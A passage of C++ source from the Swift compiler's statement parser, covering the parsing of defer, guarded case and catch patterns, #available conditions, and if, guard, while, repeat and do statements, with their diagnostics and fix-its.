diagnose(tryLoc, diag::try_on_return_throw_yield, /*throw=*/1)
.fixItInsert(exprLoc, "try ")
.fixItRemoveChars(tryLoc, throwLoc);
// Note: We can't use tryLoc here because that's outside the ThrowStmt's
// source range.
if (Result.isNonNull() && !isa<ErrorExpr>(Result.get()))
Result = makeParserResult(new (Context) TryExpr(exprLoc, Result.get()));
}
return makeParserResult(Result,
new (Context) ThrowStmt(throwLoc, Result.get()));
}
/// parseStmtDefer
///
/// stmt-defer:
/// 'defer' brace-stmt
///
ParserResult<Stmt> Parser::parseStmtDefer() {
SyntaxContext->setCreateSyntax(SyntaxKind::DeferStmt);
SourceLoc DeferLoc = consumeToken(tok::kw_defer);
// Macro expand out the defer into a closure and call, which we can typecheck
// and emit where needed.
//
// The AST representation for a defer statement is a bit weird. We retain the
// brace statement that the user wrote, but actually model this as if they
// wrote:
//
// func tmpClosure() { body }
// tmpClosure() // This is emitted on each path that needs to run this.
//
// As such, the body of the 'defer' is actually type checked within the
// closure's DeclContext.
auto params = ParameterList::createEmpty(Context);
DeclName name(Context, Context.getIdentifier("$defer"), params);
auto tempDecl
= FuncDecl::create(Context,
/*StaticLoc=*/ SourceLoc(),
StaticSpellingKind::None,
/*FuncLoc=*/ SourceLoc(),
name,
/*NameLoc=*/ SourceLoc(),
/*Throws=*/ false, /*ThrowsLoc=*/ SourceLoc(),
/*generic params*/ nullptr,
params,
TypeLoc(),
CurDeclContext);
tempDecl->setImplicit();
setLocalDiscriminator(tempDecl);
ParserStatus Status;
{
// Change the DeclContext for any variables declared in the defer to be within
// the defer closure.
ParseFunctionBody cc(*this, tempDecl);
ParserResult<BraceStmt> Body =
parseBraceItemList(diag::expected_lbrace_after_defer);
if (Body.isNull())
return nullptr;
Status |= Body;
tempDecl->setBody(Body.get());
}
SourceLoc loc = tempDecl->getBody()->getStartLoc();
// Form the call, which will be emitted on any path that needs to run the
// code.
auto DRE = new (Context) DeclRefExpr(tempDecl, DeclNameLoc(loc),
/*Implicit*/true,
AccessSemantics::DirectToStorage);
auto call = CallExpr::createImplicit(Context, DRE, { }, { });
auto DS = new (Context) DeferStmt(DeferLoc, tempDecl, call);
return makeParserResult(Status, DS);
}
namespace {
struct GuardedPattern {
Pattern *ThePattern = nullptr;
SourceLoc WhereLoc;
Expr *Guard = nullptr;
};
/// Contexts in which a guarded pattern can appear.
enum class GuardedPatternContext {
Case,
Catch,
};
} // unnamed namespace
static void parseWhereGuard(Parser &P, GuardedPattern &result,
ParserStatus &status,
GuardedPatternContext parsingContext,
bool isExprBasic) {
if (P.Tok.is(tok::kw_where)) {
SyntaxParsingContext WhereClauseCtxt(P.SyntaxContext,
SyntaxKind::WhereClause);
result.WhereLoc = P.consumeToken(tok::kw_where);
SourceLoc startOfGuard = P.Tok.getLoc();
auto diagKind = [=]() -> Diag<> {
switch (parsingContext) {
case GuardedPatternContext::Case:
return diag::expected_case_where_expr;
case GuardedPatternContext::Catch:
return diag::expected_catch_where_expr;
}
llvm_unreachable("bad context");
}();
ParserResult<Expr> guardResult = P.parseExprImpl(diagKind, isExprBasic);
status |= guardResult;
// Use the parsed guard expression if possible.
if (guardResult.isNonNull()) {
result.Guard = guardResult.get();
// Otherwise, fake up an ErrorExpr.
} else {
// If we didn't consume any tokens failing to parse the
// expression, don't put in the source range of the ErrorExpr.
SourceRange errorRange;
if (startOfGuard == P.Tok.getLoc()) {
errorRange = result.WhereLoc;
} else {
errorRange = SourceRange(startOfGuard, P.PreviousLoc);
}
result.Guard = new (P.Context) ErrorExpr(errorRange);
}
}
}
/// Parse a pattern-matching clause for a case or catch statement,
/// including the guard expression:
///
/// pattern 'where' expr
static void parseGuardedPattern(Parser &P, GuardedPattern &result,
ParserStatus &status,
SmallVectorImpl<VarDecl *> &boundDecls,
GuardedPatternContext parsingContext,
bool isFirstPattern) {
ParserResult<Pattern> patternResult;
auto setErrorResult = [&] () {
patternResult = makeParserErrorResult(new (P.Context)
AnyPattern(SourceLoc()));
};
bool isExprBasic = [&]() -> bool {
switch (parsingContext) {
// 'case' is terminated with a colon and so allows a trailing closure.
case GuardedPatternContext::Case:
return false;
// 'catch' is terminated with a brace and so cannot.
case GuardedPatternContext::Catch:
return true;
}
llvm_unreachable("bad pattern context");
}();
// Do some special-case code completion for the start of the pattern.
if (P.Tok.is(tok::code_complete)) {
setErrorResult();
if (P.CodeCompletion) {
switch (parsingContext) {
case GuardedPatternContext::Case:
P.CodeCompletion->completeCaseStmtBeginning();
break;
case GuardedPatternContext::Catch:
P.CodeCompletion->completePostfixExprBeginning(nullptr);
break;
}
P.consumeToken();
} else {
result.ThePattern = patternResult.get();
status.setHasCodeCompletion();
return;
}
}
if (parsingContext == GuardedPatternContext::Case &&
P.Tok.isAny(tok::period_prefix, tok::period) &&
P.peekToken().is(tok::code_complete)) {
setErrorResult();
if (P.CodeCompletion) {
P.consumeToken();
P.CodeCompletion->completeCaseStmtDotPrefix();
P.consumeToken();
} else {
result.ThePattern = patternResult.get();
status.setHasCodeCompletion();
return;
}
}
// If this is a 'catch' clause and we have "catch {" or "catch where...",
// then we get an implicit "let error" pattern.
if (parsingContext == GuardedPatternContext::Catch &&
P.Tok.isAny(tok::l_brace, tok::kw_where)) {
auto loc = P.Tok.getLoc();
auto errorName = P.Context.Id_error;
auto var = new (P.Context) VarDecl(/*IsStatic*/false,
VarDecl::Specifier::Let,
/*IsCaptureList*/false, loc, errorName,
P.CurDeclContext);
var->setImplicit();
auto namePattern = new (P.Context) NamedPattern(var);
auto varPattern = new (P.Context) VarPattern(loc, /*isLet*/true,
namePattern, /*implicit*/true);
patternResult = makeParserResult(varPattern);
}
// Okay, if the special code-completion didn't kick in, parse a
// matching pattern.
if (patternResult.isNull()) {
llvm::SaveAndRestore<decltype(P.InVarOrLetPattern)>
T(P.InVarOrLetPattern, Parser::IVOLP_InMatchingPattern);
patternResult = P.parseMatchingPattern(isExprBasic);
}
// If that didn't work, use a bogus pattern so that we can fill out
// the AST.
if (patternResult.isNull())
patternResult =
makeParserErrorResult(new (P.Context) AnyPattern(P.PreviousLoc));
// Fill in the pattern.
status |= patternResult;
result.ThePattern = patternResult.get();
if (isFirstPattern) {
// Add variable bindings from the pattern to the case scope. We have
// to do this with a full AST walk, because the freshly parsed pattern
// represents tuples and var patterns as tupleexprs and
// unresolved_pattern_expr nodes, instead of as proper pattern nodes.
patternResult.get()->forEachVariable([&](VarDecl *VD) {
P.setLocalDiscriminator(VD);
if (VD->hasName()) P.addToScope(VD);
boundDecls.push_back(VD);
});
// Now that we have them, mark them as being initialized without a PBD.
for (auto VD : boundDecls)
VD->setHasNonPatternBindingInit();
// Parse the optional 'where' guard.
parseWhereGuard(P, result, status, parsingContext, isExprBasic);
} else {
// If boundDecls already contains variables, then we must match the
// same number and same names in this pattern as were declared in a
// previous pattern (and later we will make sure they have the same
// types).
Scope guardScope(&P, ScopeKind::CaseVars);
SmallVector<VarDecl*, 4> repeatedDecls;
patternResult.get()->forEachVariable([&](VarDecl *VD) {
if (!VD->hasName())
return;
bool found = false;
for (auto previous : boundDecls) {
if (previous->hasName() && previous->getName() == VD->getName()) {
found = true;
break;
}
}
if (!found) {
// Diagnose a declaration that doesn't match a previous pattern.
P.diagnose(VD->getLoc(), diag::extra_var_in_multiple_pattern_list, VD->getName());
status.setIsParseError();
}
repeatedDecls.push_back(VD);
P.setLocalDiscriminator(VD);
if (VD->hasName())
P.addToScope(VD);
});
for (auto previous : boundDecls) {
bool found = false;
for (auto repeat : repeatedDecls) {
if (previous->hasName() && previous->getName() == repeat->getName()) {
found = true;
break;
}
}
if (!found) {
// Diagnose a previous declaration that is missing in this pattern.
P.diagnose(previous->getLoc(), diag::extra_var_in_multiple_pattern_list, previous->getName());
status.setIsParseError();
}
}
for (auto VD : repeatedDecls) {
VD->setHasNonPatternBindingInit();
VD->setImplicit();
}
// Parse the optional 'where' guard, with this particular pattern's bound
// vars in scope.
parseWhereGuard(P, result, status, parsingContext, isExprBasic);
}
}
/// Validate availability spec list, emitting diagnostics if necessary.
static void validateAvailabilitySpecList(Parser &P,
ArrayRef<AvailabilitySpec *> Specs) {
llvm::SmallSet<PlatformKind, 4> Platforms;
bool HasOtherPlatformSpec = false;
if (Specs.size() == 1 &&
isa<LanguageVersionConstraintAvailabilitySpec>(Specs[0])) {
// @available(swift N) is allowed only in isolation; it cannot
// be combined with other availability specs in a single list.
return;
}
for (auto *Spec : Specs) {
if (isa<OtherPlatformAvailabilitySpec>(Spec)) {
HasOtherPlatformSpec = true;
continue;
}
if (auto *LangSpec =
dyn_cast<LanguageVersionConstraintAvailabilitySpec>(Spec)) {
P.diagnose(LangSpec->getSwiftLoc(),
diag::availability_swift_must_occur_alone);
continue;
}
auto *VersionSpec = cast<PlatformVersionConstraintAvailabilitySpec>(Spec);
bool Inserted = Platforms.insert(VersionSpec->getPlatform()).second;
if (!Inserted) {
// Rule out multiple version specs referring to the same platform.
// For example, we emit an error for
/// #available(OSX 10.10, OSX 10.11, *)
PlatformKind Platform = VersionSpec->getPlatform();
P.diagnose(VersionSpec->getPlatformLoc(),
diag::availability_query_repeated_platform,
platformString(Platform));
}
}
if (!HasOtherPlatformSpec) {
SourceLoc InsertWildcardLoc = Specs.back()->getSourceRange().End;
P.diagnose(InsertWildcardLoc, diag::availability_query_wildcard_required)
.fixItInsertAfter(InsertWildcardLoc, ", *");
}
}
// #available(...)
ParserResult<PoundAvailableInfo> Parser::parseStmtConditionPoundAvailable() {
SyntaxParsingContext ConditonCtxt(SyntaxContext,
SyntaxKind::AvailabilityCondition);
SourceLoc PoundLoc = consumeToken(tok::pound_available);
if (!Tok.isFollowingLParen()) {
diagnose(Tok, diag::avail_query_expected_condition);
return makeParserError();
}
StructureMarkerRAII ParsingAvailabilitySpecList(*this, Tok);
if (ParsingAvailabilitySpecList.isFailed()) {
return makeParserError();
}
SourceLoc LParenLoc = consumeToken(tok::l_paren);
SmallVector<AvailabilitySpec *, 5> Specs;
ParserStatus Status = parseAvailabilitySpecList(Specs);
for (auto *Spec : Specs) {
if (auto *Lang =
dyn_cast<LanguageVersionConstraintAvailabilitySpec>(Spec)) {
diagnose(Lang->getSwiftLoc(),
diag::pound_available_swift_not_allowed);
Status.setIsParseError();
}
}
SourceLoc RParenLoc;
if (parseMatchingToken(tok::r_paren, RParenLoc,
diag::avail_query_expected_rparen, LParenLoc))
Status.setIsParseError();
auto *result = PoundAvailableInfo::create(Context, PoundLoc, Specs,RParenLoc);
return makeParserResult(Status, result);
}
ParserStatus
Parser::parseAvailabilitySpecList(SmallVectorImpl<AvailabilitySpec *> &Specs) {
SyntaxParsingContext AvailabilitySpecContext(
SyntaxContext, SyntaxKind::AvailabilitySpecList);
ParserStatus Status = makeParserSuccess();
// We don't use parseList() because we want to provide more specific
// diagnostics disallowing operators in version specs.
while (1) {
SyntaxParsingContext AvailabilityEntryContext(
SyntaxContext, SyntaxKind::AvailabilityArgument);
auto SpecResult = parseAvailabilitySpec();
if (auto *Spec = SpecResult.getPtrOrNull()) {
Specs.push_back(Spec);
} else {
if (SpecResult.hasCodeCompletion()) {
return makeParserCodeCompletionStatus();
}
Status.setIsParseError();
}
// We don't allow binary operators to combine specs.
if (Tok.isBinaryOperator()) {
diagnose(Tok, diag::avail_query_disallowed_operator, Tok.getText());
consumeToken();
Status.setIsParseError();
} else if (consumeIf(tok::comma)) {
// There is more to parse in this list.
// Before continuing to parse the next specification, we check that it's
// also in the shorthand syntax and provide a more specific diagnostic if
// that's not the case.
if (Tok.isIdentifierOrUnderscore() &&
!peekToken().isAny(tok::integer_literal, tok::floating_literal) &&
!Specs.empty()) {
auto Text = Tok.getText();
if (Text == "deprecated" || Text == "renamed" || Text == "introduced" ||
Text == "message" || Text == "obsoleted" || Text == "unavailable") {
auto *Previous = Specs.back();
auto &SourceManager = Context.SourceMgr;
auto PreviousSpecText =
SourceManager.extractText(L->getCharSourceRangeFromSourceRange(
SourceManager, Previous->getSourceRange()));
diagnose(Tok,
diag::avail_query_argument_and_shorthand_mix_not_allowed,
Text, PreviousSpecText);
// If this was preceded by a single platform version constraint, we
// can guess that the intention was to treat it as 'introduced' and
// suggest a fix-it to combine them.
if (Specs.size() == 1 &&
PlatformVersionConstraintAvailabilitySpec::classof(Previous) &&
Text != "introduced") {
auto *PlatformSpec =
cast<PlatformVersionConstraintAvailabilitySpec>(Previous);
auto PlatformName = platformString(PlatformSpec->getPlatform());
auto PlatformNameEndLoc =
PlatformSpec->getPlatformLoc().getAdvancedLoc(
PlatformName.size());
diagnose(PlatformSpec->getPlatformLoc(),
diag::avail_query_meant_introduced)
.fixItInsert(PlatformNameEndLoc, ", introduced:");
}
Status.setIsParseError();
break;
}
}
// Otherwise, keep going.
} else {
break;
}
}
if (Status.isSuccess())
validateAvailabilitySpecList(*this, Specs);
return Status;
}
ParserStatus
Parser::parseStmtConditionElement(SmallVectorImpl<StmtConditionElement> &result,
Diag<> DefaultID, StmtKind ParentKind,
StringRef &BindingKindStr) {
ParserStatus Status;
// Parse a leading #available condition if present.
if (Tok.is(tok::pound_available)) {
auto res = parseStmtConditionPoundAvailable();
if (res.isNull() || res.hasCodeCompletion()) {
Status |= res;
return Status;
}
BindingKindStr = StringRef();
result.push_back({res.get()});
return Status;
}
// Handle code completion after the #.
if (Tok.is(tok::pound) && peekToken().is(tok::code_complete) &&
Tok.getLoc().getAdvancedLoc(1) == peekToken().getLoc()) {
auto Expr = parseExprPoundCodeCompletion(ParentKind);
Status |= Expr;
result.push_back(Expr.get());
}
// Parse the basic expression case. If we have a leading let/var/case
// keyword or an assignment, then we know this is a binding.
if (Tok.isNot(tok::kw_let, tok::kw_var, tok::kw_case)) {
// If we lack it, then this is theoretically a boolean condition.
// However, we also need to handle migrating from Swift 2 syntax, in
// which a comma followed by an expression could actually be a pattern
// clause followed by a binding. Determine what we have by checking for a
// syntactically valid pattern followed by an '=', which can never be a
// boolean condition.
//
// However, if this is the first clause, and we see "x = y", then this is
// almost certainly a typo for '==' and definitely not a continuation of
// another clause, so parse it as an expression. This also avoids
// lookahead + backtracking on simple if conditions that are obviously
// boolean conditions.
auto isBooleanExpr = [&]() -> bool {
Parser::BacktrackingScope Backtrack(*this);
return !canParseTypedPattern() || Tok.isNot(tok::equal);
};
if (BindingKindStr.empty() || isBooleanExpr()) {
auto diagID = result.empty() ? DefaultID :
diag::expected_expr_conditional;
auto BoolExpr = parseExprBasic(diagID);
Status |= BoolExpr;
if (BoolExpr.isNull())
return Status;
result.push_back(BoolExpr.get());
BindingKindStr = StringRef();
return Status;
}
}
SyntaxParsingContext ConditionCtxt(SyntaxContext);
SourceLoc IntroducerLoc;
if (Tok.isAny(tok::kw_let, tok::kw_var, tok::kw_case)) {
BindingKindStr = Tok.getText();
IntroducerLoc = consumeToken();
} else {
// If we lack the leading let/var/case keyword, then we're here because
// the user wrote something like "if let x = foo(), y = bar() {". Fix
// this by inserting a new 'let' keyword before y.
IntroducerLoc = Tok.getLoc();
assert(!BindingKindStr.empty() &&
"Shouldn't get here without a leading binding");
diagnose(Tok.getLoc(), diag::expected_binding_keyword, BindingKindStr)
.fixItInsert(Tok.getLoc(), BindingKindStr.str()+" ");
}
// We're parsing a conditional binding.
assert(CurDeclContext->isLocalContext() &&
"conditional binding in non-local context?!");
ParserResult<Pattern> ThePattern;
if (BindingKindStr == "case") {
ConditionCtxt.setCreateSyntax(SyntaxKind::MatchingPatternCondition);
// In our recursive parse, remember that we're in a matching pattern.
llvm::SaveAndRestore<decltype(InVarOrLetPattern)>
T(InVarOrLetPattern, IVOLP_InMatchingPattern);
ThePattern = parseMatchingPattern(/*isExprBasic*/ true);
} else if (Tok.is(tok::kw_case)) {
ConditionCtxt.setCreateSyntax(SyntaxKind::Unknown);
// If will probably be a common typo to write "if let case" instead of
// "if case let" so detect this and produce a nice fixit.
diagnose(IntroducerLoc, diag::wrong_condition_case_location,
BindingKindStr)
.fixItRemove(IntroducerLoc)
.fixItInsertAfter(Tok.getLoc(), " " + BindingKindStr.str());
consumeToken(tok::kw_case);
bool wasLet = BindingKindStr == "let";
BindingKindStr = "case";
// In our recursive parse, remember that we're in a var/let pattern.
llvm::SaveAndRestore<decltype(InVarOrLetPattern)>
T(InVarOrLetPattern, wasLet ? IVOLP_InLet : IVOLP_InVar);
ThePattern = parseMatchingPattern(/*isExprBasic*/ true);
if (ThePattern.isNonNull()) {
auto *P = new (Context) VarPattern(IntroducerLoc, wasLet,
ThePattern.get(), /*impl*/false);
ThePattern = makeParserResult(Status, P);
}
} else {
ConditionCtxt.setCreateSyntax(SyntaxKind::OptionalBindingCondition);
// Otherwise, this is an implicit optional binding "if let".
ThePattern = parseMatchingPatternAsLetOrVar(BindingKindStr == "let",
IntroducerLoc,
/*isExprBasic*/ true);
// The let/var pattern is part of the statement.
if (Pattern *P = ThePattern.getPtrOrNull())
P->setImplicit();
}
ThePattern = parseOptionalPatternTypeAnnotation(ThePattern,
BindingKindStr != "case");
if (ThePattern.hasCodeCompletion())
Status.setHasCodeCompletion();
if (ThePattern.isNull()) {
// Recover by creating AnyPattern.
ThePattern = makeParserResult(new (Context) AnyPattern(PreviousLoc));
}
// Conditional bindings must have an initializer.
ParserResult<Expr> Init;
if (Tok.is(tok::equal)) {
SyntaxParsingContext InitCtxt(SyntaxContext, SyntaxKind::InitializerClause);
consumeToken();
Init = parseExprBasic(diag::expected_expr_conditional_var);
} else {
diagnose(Tok, diag::conditional_var_initializer_required);
}
if (Init.hasCodeCompletion())
Status.setHasCodeCompletion();
if (Init.isNull()) {
// Recover by creating ErrorExpr.
Init = makeParserResult(new (Context)
ErrorExpr(ThePattern.get()->getEndLoc()));
}
result.push_back({IntroducerLoc, ThePattern.get(), Init.get()});
// Add variable bindings from the pattern to our current scope and mark
// them as being having a non-pattern-binding initializer.
ThePattern.get()->forEachVariable([&](VarDecl *VD) {
setLocalDiscriminator(VD);
if (VD->hasName())
addToScope(VD);
VD->setHasNonPatternBindingInit();
});
return Status;
}
/// Parse the condition of an 'if' or 'while'.
///
/// condition:
/// condition-clause (',' condition-clause)*
/// condition-clause:
/// expr-basic
/// ('var' | 'let' | 'case') pattern '=' expr-basic
/// '#available' '(' availability-spec (',' availability-spec)* ')'
///
/// The use of expr-basic here disallows trailing closures, which are
/// problematic given the curly braces around the if/while body.
///
ParserStatus Parser::parseStmtCondition(StmtCondition &Condition,
Diag<> DefaultID, StmtKind ParentKind) {
SyntaxParsingContext ConditionListCtxt(SyntaxContext,
SyntaxKind::ConditionElementList);
ParserStatus Status;
Condition = StmtCondition();
SmallVector<StmtConditionElement, 4> result;
// For error recovery purposes, keep track of the disposition of the last
// pattern binding we saw ('let', 'var', or 'case').
StringRef BindingKindStr;
// We have a simple comma separated list of clauses, but also need to handle
// a variety of common errors situations (including migrating from Swift 2
// syntax).
while (true) {
SyntaxParsingContext ConditionElementCtxt(SyntaxContext,
SyntaxKind::ConditionElement);
Status |= parseStmtConditionElement(result, DefaultID, ParentKind,
BindingKindStr);
if (Status.shouldStopParsing())
break;
// If a comma exists consume it and succeed.
if (consumeIf(tok::comma))
continue;
// If we have an "&&" token followed by a continuation of the statement
// condition, then fixit the "&&" to "," and keep going.
if (Tok.isAny(tok::oper_binary_spaced, tok::oper_binary_unspaced) &&
Tok.getText() == "&&") {
diagnose(Tok, diag::expected_comma_stmtcondition)
.fixItReplaceChars(getEndOfPreviousLoc(), Tok.getRange().getEnd(), ",");
consumeToken();
continue;
}
// Boolean conditions are separated by commas, not the 'where' keyword, as
// they were in Swift 2 and earlier.
if (Tok.is(tok::kw_where)) {
diagnose(Tok, diag::expected_comma_stmtcondition)
.fixItReplaceChars(getEndOfPreviousLoc(), Tok.getRange().getEnd(), ",");
consumeToken();
continue;
}
break;
};
Condition = Context.AllocateCopy(result);
return Status;
}
///
/// stmt-if:
/// 'if' condition stmt-brace stmt-if-else?
/// stmt-if-else:
/// 'else' stmt-brace
/// 'else' stmt-if
ParserResult<Stmt> Parser::parseStmtIf(LabeledStmtInfo LabelInfo,
bool IfWasImplicitlyInserted) {
SyntaxContext->setCreateSyntax(SyntaxKind::IfStmt);
SourceLoc IfLoc;
if (IfWasImplicitlyInserted) {
// The code was invalid due to a missing 'if' (e.g. 'else x < y {') and a
// fixit implicitly inserted it.
IfLoc = Tok.getLoc();
} else {
IfLoc = consumeToken(tok::kw_if);
}
ParserStatus Status;
StmtCondition Condition;
ParserResult<BraceStmt> NormalBody;
// A scope encloses the condition and true branch for any variables bound
// by a conditional binding. The else branch does *not* see these variables.
{
Scope S(this, ScopeKind::IfVars);
auto recoverWithCond = [&](ParserStatus Status,
StmtCondition Condition) -> ParserResult<Stmt> {
if (Condition.empty()) {
SmallVector<StmtConditionElement, 1> ConditionElems;
ConditionElems.emplace_back(new (Context) ErrorExpr(IfLoc));
Condition = Context.AllocateCopy(ConditionElems);
}
auto EndLoc = Condition.back().getEndLoc();
return makeParserResult(
Status,
new (Context) IfStmt(
LabelInfo, IfLoc, Condition,
BraceStmt::create(Context, EndLoc, {}, EndLoc, /*implicit=*/true),
SourceLoc(), nullptr));
};
if (Tok.is(tok::l_brace)) {
SourceLoc LBraceLoc = Tok.getLoc();
diagnose(IfLoc, diag::missing_condition_after_if)
.highlight(SourceRange(IfLoc, LBraceLoc));
SmallVector<StmtConditionElement, 1> ConditionElems;
ConditionElems.emplace_back(new (Context) ErrorExpr(LBraceLoc));
Condition = Context.AllocateCopy(ConditionElems);
} else {
Status |= parseStmtCondition(Condition, diag::expected_condition_if,
StmtKind::If);
if (Status.isError() || Status.hasCodeCompletion())
return recoverWithCond(Status, Condition);
}
if (Tok.is(tok::kw_else)) {
SourceLoc ElseLoc = Tok.getLoc();
diagnose(ElseLoc, diag::unexpected_else_after_if);
diagnose(ElseLoc, diag::suggest_removing_else)
.fixItRemove(ElseLoc);
consumeToken(tok::kw_else);
}
NormalBody = parseBraceItemList(diag::expected_lbrace_after_if);
Status |= NormalBody;
if (NormalBody.isNull())
return recoverWithCond(Status, Condition);
}
// The else branch, if any, is outside of the scope of the condition.
SourceLoc ElseLoc;
ParserResult<Stmt> ElseBody;
if (Tok.is(tok::kw_else)) {
ElseLoc = consumeToken(tok::kw_else);
bool implicitlyInsertIf = false;
if (Tok.isNot(tok::kw_if, tok::l_brace, tok::code_complete)) {
// The code looks like 'if ... { ... } else not_if_or_lbrace', so we've
// got a problem. If the last bit is 'else ... {' on one line, let's
// assume they've forgotten the 'if'.
BacktrackingScope backtrack(*this);
implicitlyInsertIf = skipUntilTokenOrEndOfLine(tok::l_brace);
}
if (Tok.is(tok::kw_if) || implicitlyInsertIf) {
if (implicitlyInsertIf) {
diagnose(ElseLoc, diag::expected_lbrace_or_if_after_else_fixit)
.fixItInsertAfter(ElseLoc, " if");
}
SyntaxParsingContext ElseIfCtxt(SyntaxContext, SyntaxKind::IfStmt);
ElseBody = parseStmtIf(LabeledStmtInfo(), implicitlyInsertIf);
} else if (Tok.is(tok::code_complete)) {
if (CodeCompletion)
CodeCompletion->completeAfterIfStmt(/*hasElse*/true);
Status.setHasCodeCompletion();
consumeToken(tok::code_complete);
} else {
ElseBody = parseBraceItemList(diag::expected_lbrace_or_if_after_else);
}
Status |= ElseBody;
} else if (Tok.is(tok::code_complete)) {
if (CodeCompletion)
CodeCompletion->completeAfterIfStmt(/*hasElse*/false);
Status.setHasCodeCompletion();
consumeToken(tok::code_complete);
}
return makeParserResult(
Status, new (Context) IfStmt(LabelInfo,
IfLoc, Condition, NormalBody.get(),
ElseLoc, ElseBody.getPtrOrNull()));
}
/// stmt-guard:
/// 'guard' condition 'else' stmt-brace
///
ParserResult<Stmt> Parser::parseStmtGuard() {
SyntaxContext->setCreateSyntax(SyntaxKind::GuardStmt);
SourceLoc GuardLoc = consumeToken(tok::kw_guard);
ParserStatus Status;
StmtCondition Condition;
ParserResult<BraceStmt> Body;
auto recoverWithCond = [&](ParserStatus Status,
StmtCondition Condition) -> ParserResult<Stmt> {
if (Condition.empty()) {
SmallVector<StmtConditionElement, 1> ConditionElems;
ConditionElems.emplace_back(new (Context) ErrorExpr(GuardLoc));
Condition = Context.AllocateCopy(ConditionElems);
}
auto EndLoc = Condition.back().getEndLoc();
return makeParserResult(
Status,
new (Context) GuardStmt(
GuardLoc, Condition,
BraceStmt::create(Context, EndLoc, {}, EndLoc, /*implicit=*/true)));
};
if (Tok.is(tok::l_brace)) {
SourceLoc LBraceLoc = Tok.getLoc();
diagnose(GuardLoc, diag::missing_condition_after_guard)
.highlight(SourceRange(GuardLoc, LBraceLoc));
SmallVector<StmtConditionElement, 1> ConditionElems;
ConditionElems.emplace_back(new (Context) ErrorExpr(LBraceLoc));
Condition = Context.AllocateCopy(ConditionElems);
} else {
Status |= parseStmtCondition(Condition, diag::expected_condition_guard,
StmtKind::Guard);
if (Status.isError() || Status.hasCodeCompletion()) {
// FIXME: better recovery
return recoverWithCond(Status, Condition);
}
}
// Parse the 'else'. If it is missing, and if the following token isn't a {
// then the parser is hopelessly lost - just give up instead of spewing.
if (!consumeIf(tok::kw_else)) {
checkForInputIncomplete();
auto diag = diagnose(Tok, diag::expected_else_after_guard);
if (Tok.is(tok::l_brace))
diag.fixItInsert(Tok.getLoc(), "else ");
else
return recoverWithCond(Status, Condition);
}
// Before parsing the body, disable all of the bound variables so that they
// cannot be used unbound.
SmallVector<VarDecl *, 4> Vars;
for (auto &elt : Condition)
if (auto pattern = elt.getPatternOrNull())
pattern->collectVariables(Vars);
Vars.append(DisabledVars.begin(), DisabledVars.end());
llvm::SaveAndRestore<decltype(DisabledVars)>
RestoreCurVars(DisabledVars, Vars);
llvm::SaveAndRestore<decltype(DisabledVarReason)>
RestoreReason(DisabledVarReason, diag::bound_var_guard_body);
Body = parseBraceItemList(diag::expected_lbrace_after_guard);
if (Body.isNull())
return recoverWithCond(Status, Condition);
Status |= Body;
return makeParserResult(Status,
new (Context) GuardStmt(GuardLoc, Condition, Body.get()));
}
///
/// stmt-while:
/// (identifier ':')? 'while' expr-basic stmt-brace
ParserResult<Stmt> Parser::parseStmtWhile(LabeledStmtInfo LabelInfo) {
SyntaxContext->setCreateSyntax(SyntaxKind::WhileStmt);
SourceLoc WhileLoc = consumeToken(tok::kw_while);
Scope S(this, ScopeKind::WhileVars);
ParserStatus Status;
StmtCondition Condition;
auto recoverWithCond = [&](ParserStatus Status,
StmtCondition Condition) -> ParserResult<Stmt> {
if (Condition.empty()) {
SmallVector<StmtConditionElement, 1> ConditionElems;
ConditionElems.emplace_back(new (Context) ErrorExpr(WhileLoc));
Condition = Context.AllocateCopy(ConditionElems);
}
auto EndLoc = Condition.back().getEndLoc();
return makeParserResult(
Status,
new (Context) WhileStmt(
LabelInfo, WhileLoc, Condition,
BraceStmt::create(Context, EndLoc, {}, EndLoc, /*implicit=*/true)));
};
if (Tok.is(tok::l_brace)) {
SourceLoc LBraceLoc = Tok.getLoc();
diagnose(WhileLoc, diag::missing_condition_after_while)
.highlight(SourceRange(WhileLoc, LBraceLoc));
SmallVector<StmtConditionElement, 1> ConditionElems;
ConditionElems.emplace_back(new (Context) ErrorExpr(LBraceLoc));
Condition = Context.AllocateCopy(ConditionElems);
} else {
Status |= parseStmtCondition(Condition, diag::expected_condition_while,
StmtKind::While);
if (Status.isError() || Status.hasCodeCompletion())
return recoverWithCond(Status, Condition);
}
ParserResult<BraceStmt> Body =
parseBraceItemList(diag::expected_lbrace_after_while);
Status |= Body;
if (Body.isNull())
return recoverWithCond(Status, Condition);
return makeParserResult(
Status, new (Context) WhileStmt(LabelInfo, WhileLoc, Condition,
Body.get()));
}
///
/// stmt-repeat:
/// (identifier ':')? 'repeat' stmt-brace 'while' expr
ParserResult<Stmt> Parser::parseStmtRepeat(LabeledStmtInfo labelInfo) {
SyntaxContext->setCreateSyntax(SyntaxKind::RepeatWhileStmt);
SourceLoc repeatLoc = consumeToken(tok::kw_repeat);
ParserStatus status;
ParserResult<BraceStmt> body =
parseBraceItemList(diag::expected_lbrace_after_repeat);
status |= body;
if (body.isNull())
body = makeParserResult(
body, BraceStmt::create(Context, repeatLoc, {}, PreviousLoc, true));
SourceLoc whileLoc;
if (!consumeIf(tok::kw_while, whileLoc)) {
diagnose(body.getPtrOrNull()->getEndLoc(),
diag::expected_while_after_repeat_body);
return body;
}
ParserResult<Expr> condition;
if (Tok.is(tok::l_brace)) {
SourceLoc lbraceLoc = Tok.getLoc();
diagnose(whileLoc, diag::missing_condition_after_while);
condition = makeParserErrorResult(new (Context) ErrorExpr(lbraceLoc));
} else {
condition = parseExpr(diag::expected_expr_repeat_while);
status |= condition;
if (condition.isNull()) {
condition = makeParserErrorResult(new (Context) ErrorExpr(whileLoc));
}
}
return makeParserResult(
status,
new (Context) RepeatWhileStmt(labelInfo, repeatLoc, condition.get(),
whileLoc, body.get()));
}
///
/// stmt-do:
/// (identifier ':')? 'do' stmt-brace
/// (identifier ':')? 'do' stmt-brace stmt-catch+
ParserResult<Stmt> Parser::parseStmtDo(LabeledStmtInfo labelInfo) {
SyntaxContext->setCreateSyntax(SyntaxKind::DoStmt);
SourceLoc doLoc = consumeToken(tok::kw_do);
ParserStatus status;
ParserResult<BraceStmt> body =
parseBraceItemList(diag::expected_lbrace_after_do);
status |= body;
if (body.isNull())
body = makeParserResult(
body, BraceStmt::create(Context, doLoc, {}, PreviousLoc, true));
// If the next token is 'catch', this is a 'do'/'catch' statement.
if (Tok.is(tok::kw_catch)) {
SyntaxParsingContext CatchListCtxt(SyntaxContext,
SyntaxKind::CatchClauseList);
// Parse 'catch' clauses
SmallVector<CatchStmt*, 4> allClauses;
do {
ParserResult<CatchStmt> clause = parseStmtCatch();
status |= clause;
if (status.hasCodeCompletion() && clause.isNull())
